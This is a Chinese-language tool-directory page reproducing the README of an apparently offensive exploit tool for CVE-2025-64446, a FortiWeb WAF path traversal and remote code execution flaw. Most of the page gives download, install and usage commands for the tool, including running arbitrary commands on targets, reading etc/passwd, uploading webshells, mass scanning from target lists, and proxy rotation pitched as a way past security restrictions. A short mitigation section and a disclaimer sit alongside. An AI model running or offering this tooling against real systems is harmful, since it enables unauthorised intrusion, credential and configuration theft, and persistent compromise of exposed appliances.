Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/an5i/cve-2025-64446-fortiweb-exploit
侦察漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
cve-2025-64446-fortiweb-exploit — 用于检测和测试 CVE-2025-64446 (FortiWeb 路径遍历 RCE 漏洞) 的安全研究工具 | Kitploit
GitHub
an5i/cve-2025-64446-fortiweb-exploit

cve-2025-64446-fortiweb-exploit

用于检测和测试 CVE-2025-64446 (FortiWeb 路径遍历 RCE 漏洞) 的安全研究工具

查看仓库
119个月前尚未审核

CVE-2025-64446 Fortinet FortiWeb 路径遍历远程代码执行漏洞利用工具

一款用于检测和测试 Fortinet FortiWeb Web 应用防火墙 (WAF) 中 CVE-2025-64446 漏洞的安全研究工具。此严重零日路径遍历漏洞已在野外被积极利用,允许未经身份验证的攻击者绕过安全控制并执行任意代码。

⚠️ 免责声明

此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面许可的系统上使用此工具。

📋 概述

CVE-2025-64446 是 Fortinet FortiWeb WAF 中的一个严重零日路径遍历漏洞,已在野外被积极利用。此漏洞允许未经身份验证的攻击者通过路径遍历攻击绕过安全控制,可能导致远程代码执行、配置文件访问和系统完全沦陷。

CVSS 评分: 9.8(严重)
状态: 在野外被积极利用
CISA KEV: 已添加到已知被利用漏洞目录
补丁: FG-IR-25-910
受影响产品: Fortinet FortiWeb WAF

🔍 功能特性

  • 自动 FortiWeb 检测: 识别 FortiWeb WAF 部署
  • 路径遍历测试: 测试多种路径遍历载荷变种
  • 漏洞确认: 验证 CVE-2025-64446 漏洞
  • 配置文件访问: 尝试读取 FortiWeb 配置文件
  • Webshell 部署: 演示 webshell 上传能力
  • 命令执行: 执行任意命令(用于授权测试)
  • 多线程支持: 并行扫描多个目标
  • 代理支持: 绕过额外安全限制
  • JSON 导出: 以 JSON 格式导出详细结果
  • 含 POC 脚本: 简单的概念验证演示

📦 安装

前置条件

  • Python 3.6 或更高版本
  • pip(Python 包管理器)

快速安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit

# 安装依赖
pip install -r requirements.txt

# 使脚本可执行(可选)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py

替代方法:直接下载

root@kitploit:~
# 下载脚本
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py

# 安装依赖
pip install requests

🚀 使用方法

基本用法

root@kitploit:~
# 单个目标
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com

# 执行自定义命令
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"

# 从文件读取多个目标
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

# 启用多线程以加快扫描速度
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5

# 调试时输出详细信息
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v

使用代理

root@kitploit:~
# 单个代理
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port

# 从文件读取多个代理
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

POC 脚本

root@kitploit:~
# 基本 POC 测试
python3 cve_2025_64446_poc.py -u http://target.com

# 测试特定文件
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd

# 输出详细信息
python3 cve_2025_64446_poc.py -u http://target.com -v

命令行选项

root@kitploit:~
-u, --url          目标 URL
-f, --file         包含目标 URL 的文件(每行一个)
-c, --command      要执行的命令(默认:id)
-t, --threads      线程数(默认:1)
-o, --output       输出文件(默认:uknf_fortiweb_results.json)
-v, --verbose      启用详细日志
--proxy            代理 URL(例如 http://127.0.0.1:8080)
--proxy-list       包含代理 URL 的文件(每行一个)

📊 输出

脚本会生成一个包含详细结果的 JSON 文件:

root@kitploit:~
{
  "target": "http://target.com",
  "timestamp": "2025-11-21T00:25:40.123456",
  "fortiweb_detected": true,
  "vulnerable": true,
  "path_traversal_successful": true,
  "config_file_read": true,
  "webshell_uploaded": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_payload": "../../../../etc/passwd"
}

🔬 工作原理

  1. 检测阶段: 扫描 FortiWeb WAF 的指标(头部、内容、错误页面)
  2. 漏洞测试: 测试多种路径遍历载荷变种
  3. 路径遍历确认: 验证文件访问是否成功
  4. 配置访问: 尝试读取 FortiWeb 配置文件
  5. 利用: 如果存在漏洞,通过 webshell 部署演示 RCE 能力

🛡️ 缓解措施

如果你正在使用 FortiWeb WAF:

  1. 立即应用安全更新:

    root@kitploit:~
    # 检查当前版本
    show system status
    
    # 更新到最新版本
    execute upgrade <firmware-file>
    
    • 参考:FG-IR-25-910
  2. 网络隔离:

    • 限制对 FortiWeb 管理接口的访问
    • 实施网络 ACL
    • 使用 VPN 进行管理访问
  3. 配置加固:

    • 禁用不必要的功能
    • 实施严格访问控制
    • 启用全面的日志记录和监控
  4. CISA 要求:

    • 联邦机构必须在 7 天内打补丁
    • 监控 CISA KEV 目录以获取更新

📚 参考

  • CVE: CVE-2025-64446
  • Fortinet PSIRT: FG-IR-25-910
  • CISA KEV 目录: CVE-2025-64446
  • Tenable 博客: CVE-2025-64446 分析

📖 示例

示例 1:单目标扫描

root@kitploit:~
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com

示例 2:多目标并输出结果

root@kitploit:~
# 创建目标文件
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# 运行扫描
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

示例 3:自定义命令执行

root@kitploit:~
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"

示例 4:使用代理

root@kitploit:~
# 单个代理
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080

# 从文件读取多个代理
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

示例 5:POC 测试

root@kitploit:~
# 基本 POC
python3 cve_2025_64446_poc.py -u https://example.com

# 测试特定文件
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd

🤝 贡献

欢迎贡献!请随时提交 Pull Request。

  1. Fork 仓库
  2. 创建你的特性分支 (git checkout -b feature/AmazingFeature)
  3. 提交你的更改 (git commit -m '添加了一些 AmazingFeature')
  4. 推送到分支 (git push origin feature/AmazingFeature)
  5. 打开一个 Pull Request

🐛 问题

如果你遇到任何问题或有建议,请在 GitHub 上提交 issue。

📝 许可证

本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。

⭐ Star 历史

如果你觉得这个工具有用,请考虑在 GitHub 上给它一个 star!

⚖️ 法律声明

此工具仅供教育和授权安全测试目的使用。作者不对任何滥用或由本程序造成的损害负责。用户有责任确保在测试任何系统前获得适当授权。

🙏 致谢

  • 原始漏洞报告者与安全研究员
  • Fortinet PSIRT 负责漏洞披露
  • CISA 维护 KEV 目录
  • 持续研究的安全社区

💰 捐赠

如果你觉得此工具有用并希望支持本项目:

比特币(BTC):

root@kitploit:~
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

以太坊(ETH):

root@kitploit:~
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

感谢你的支持!🙏

下载工具